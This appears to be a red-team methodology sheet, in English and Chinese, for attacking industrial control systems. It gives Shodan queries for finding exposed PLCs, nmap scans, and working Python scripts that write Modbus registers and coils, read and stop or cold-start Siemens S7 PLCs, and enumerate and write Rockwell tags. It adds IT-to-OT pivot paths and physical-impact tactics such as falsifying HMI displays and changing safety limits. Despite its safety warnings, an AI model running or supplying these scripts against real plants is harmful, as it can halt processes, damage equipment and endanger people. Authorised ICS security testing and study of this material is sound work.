OT/ICS industrial control system attack methodology
⛔ Safety Warning: OT systems control physical processes; incorrect operations may cause equipment damage, environmental disaster, or personal injury. Test only in a clearly authorized and safely isolated environment!
⛔ In-Depth Reference
Phase 0: OT Environment Understanding
Purdue Model (network layering)
Level 5: Enterprise Network (IT)
Level 4: Business Planning (ERP/MES)
━━━━━━━━━━━ DMZ / IT-OT 边界 ━━━━━━━━━━━
Level 3: Site Operations (Historian/SCADA Server)
Level 2: Area Control (HMI/Engineering WS)
Level 1: Basic Control (PLC/RTU/DCS)
Level 0: Physical Process (传感器/执行器)
攻击路径通常: Level 5 → 4 → DMZ → 3 → 2 → 1 → 0
关键突破点: IT/OT 边界(DMZ 配置错误)
Common Industrial Control Protocols
| Protocol |
Port |
Authentication |
Purpose |
| Modbus TCP |
502 |
⛔ None |
PLC read/write registers |
| DNP3 |
20000 |
Optional |
Power SCADA |
| OPC UA |
4840 |
Yes |
Data access |
| EtherNet/IP |
44818 |
⛔ None |
Rockwell PLC |
| S7comm |
102 |
⛔ None |
Siemens PLC |
| BACnet |
47808 |
⛔ None |
Building automation |
| FINS |
9600 |
⛔ None |
Omron PLC |
Phase 1: Information Gathering (Passive First)
# Shodan 搜索暴露的 ICS 设备
shodan search "port:502 product:Modbus"
shodan search "port:102 product:S7"
shodan search "port:44818 product:EtherNet/IP"
shodan search "port:47808 product:BACnet"
# 目标网络扫描(⛔ 仅在授权后,使用低速率)
nmap -sT -Pn -p 102,502,4840,20000,44818,47808 --scan-delay 500ms TARGET_RANGE
# 被动流量分析(如果有镜像端口)
tcpdump -i eth0 -w ics_traffic.pcap port 502 or port 102 or port 44818
# Wireshark 工控协议解析
# 内置支持: Modbus, DNP3, OPC UA, S7comm, EtherNet/IP
Phase 2: Exploiting Industrial Control Protocols
2.1 Modbus TCP (no authentication!)
#!/usr/bin/env python3
"""Modbus TCP 读写操作 — 无需认证"""
from pymodbus.client import ModbusTcpClient
client = ModbusTcpClient('TARGET_IP', port=502)
client.connect()
# 读取保持寄存器(获取当前值/配置)
result = client.read_holding_registers(address=0, count=10, slave=1)
print(f"Registers: {result.registers}")
# 读取线圈状态(数字输出状态)
result = client.read_coils(address=0, count=10, slave=1)
print(f"Coils: {result.bits}")
# ⛔ 写入操作(改变物理过程!仅在安全环境)
# 写单个寄存器
client.write_register(address=0, value=100, slave=1)
# 写单个线圈(开关控制)
client.write_coil(address=0, value=True, slave=1) # 开
client.write_coil(address=0, value=False, slave=1) # 关
client.close()
2.2 Siemens S7comm
#!/usr/bin/env python3
"""S7comm 协议交互 — Siemens S7-300/400/1200/1500"""
import snap7
# 连接 PLC
plc = snap7.client.Client()
plc.connect('TARGET_IP', rack=0, slot=1) # S7-300: slot=2
# 读取 PLC 信息
info = plc.get_cpu_info()
print(f"Module: {info.ModuleTypeName}")
print(f"Serial: {info.SerialNumber}")
# 读取数据块 (DB)
data = plc.db_read(db_number=1, start=0, size=100)
print(f"DB1 data: {data.hex()}")
# 读取输入/输出
inputs = plc.read_area(snap7.types.Areas.PE, 0, 0, 10) # 输入
outputs = plc.read_area(snap7.types.Areas.PA, 0, 0, 10) # 输出
# ⛔ 危险操作(仅安全环境)
# 停止 PLC
plc.plc_stop()
# 启动 PLC
plc.plc_cold_start()
plc.disconnect()
2.3 EtherNet/IP (Rockwell/Allen-Bradley)
#!/usr/bin/env python3
"""EtherNet/IP CIP 协议 — 无认证"""
from pycomm3 import LogixDriver
with LogixDriver('TARGET_IP') as plc:
# 读取标签值
result = plc.read('MyTag')
print(f"Tag value: {result.value}")
# 读取多个标签
results = plc.read('Tag1', 'Tag2', 'Tag3')
for r in results:
print(f"{r.tag}: {r.value}")
# 获取 PLC 信息
info = plc.get_plc_info()
print(f"Product: {info['product_name']}")
# 列出所有标签(信息收集)
tags = plc.get_tag_list()
for tag in tags:
print(f" {tag['tag_name']}: {tag['data_type_name']}")
# ⛔ 写入
# plc.write('MotorSpeed', 1000)
Phase 3: HMI/SCADA Server Attacks
HMI/SCADA 常见漏洞:
├─ 默认凭据(admin/admin, administrator/空)
├─ 未加密通信(Modbus/OPC DA 明文)
├─ Web HMI SQL注入/XSS
├─ VNC 无密码暴露
├─ RDP 弱口令(Level 2/3 工作站)
├─ 过时操作系统(Windows XP/7/2008 仍在用)
└─ 未更新的 SCADA 软件(已知 CVE)
常见 SCADA 软件:
├─ Siemens WinCC → CVE 众多
├─ GE iFix / CIMPLICITY
├─ Schneider ClearSCADA
├─ Wonderware InTouch
├─ Ignition (Inductive Automation)
└─ Kepware KEPServerEX (OPC)
Phase 4: IT/OT Boundary Crossing
从 IT 网络进入 OT:
├─ 跳板: Historian 服务器(同时连接 IT 和 OT)
├─ 双网卡工作站(Level 3 操作员电脑)
├─ VPN/远程访问通道(TeamViewer/AnyDesk 在 HMI 上)
├─ 共享文件服务器(IT/OT 共享)
├─ 数据库服务器(MES/ERP 连接到 OT)
└─ 防火墙规则宽松(OT→IT 无限制回连)
Phase 5: Attack Impact Assessment
⛔ OT 攻击的潜在物理影响:
├─ 改变 PLC 逻辑 → 物理过程失控
├─ 修改 HMI 显示 → 操作员看到假数据(Stuxnet 手法)
├─ 停止 PLC → 生产停摆
├─ 修改安全限值 → 越过安全阈值
└─ 同时攻击 SIS(安全仪表系统) + PLC → 最危险
红队测试中的安全约束:
├─ ⛔ NEVER 修改 SIS (Safety Instrumented System)
├─ ⛔ NEVER 在生产系统上测试写入操作
├─ ✓ 仅读取操作验证可达性
├─ ✓ 在独立测试环境中验证写入
└─ ✓ 随时与运维团队保持通信
Tool Quick Reference
| Tool |
Purpose |
| pymodbus |
Modbus TCP client |
| python-snap7 |
Siemens S7 communication |
| pycomm3 |
EtherNet/IP CIP |
| Wireshark + ICS dissectors |
Protocol analysis |
| PLCScan |
PLC enumeration |
| ISF (Industrial Exploitation Framework) |
ICS exploitation framework |
| GRASSMARLIN |
OT network topology discovery |
| Shodan/Censys |
Exposure surface discovery |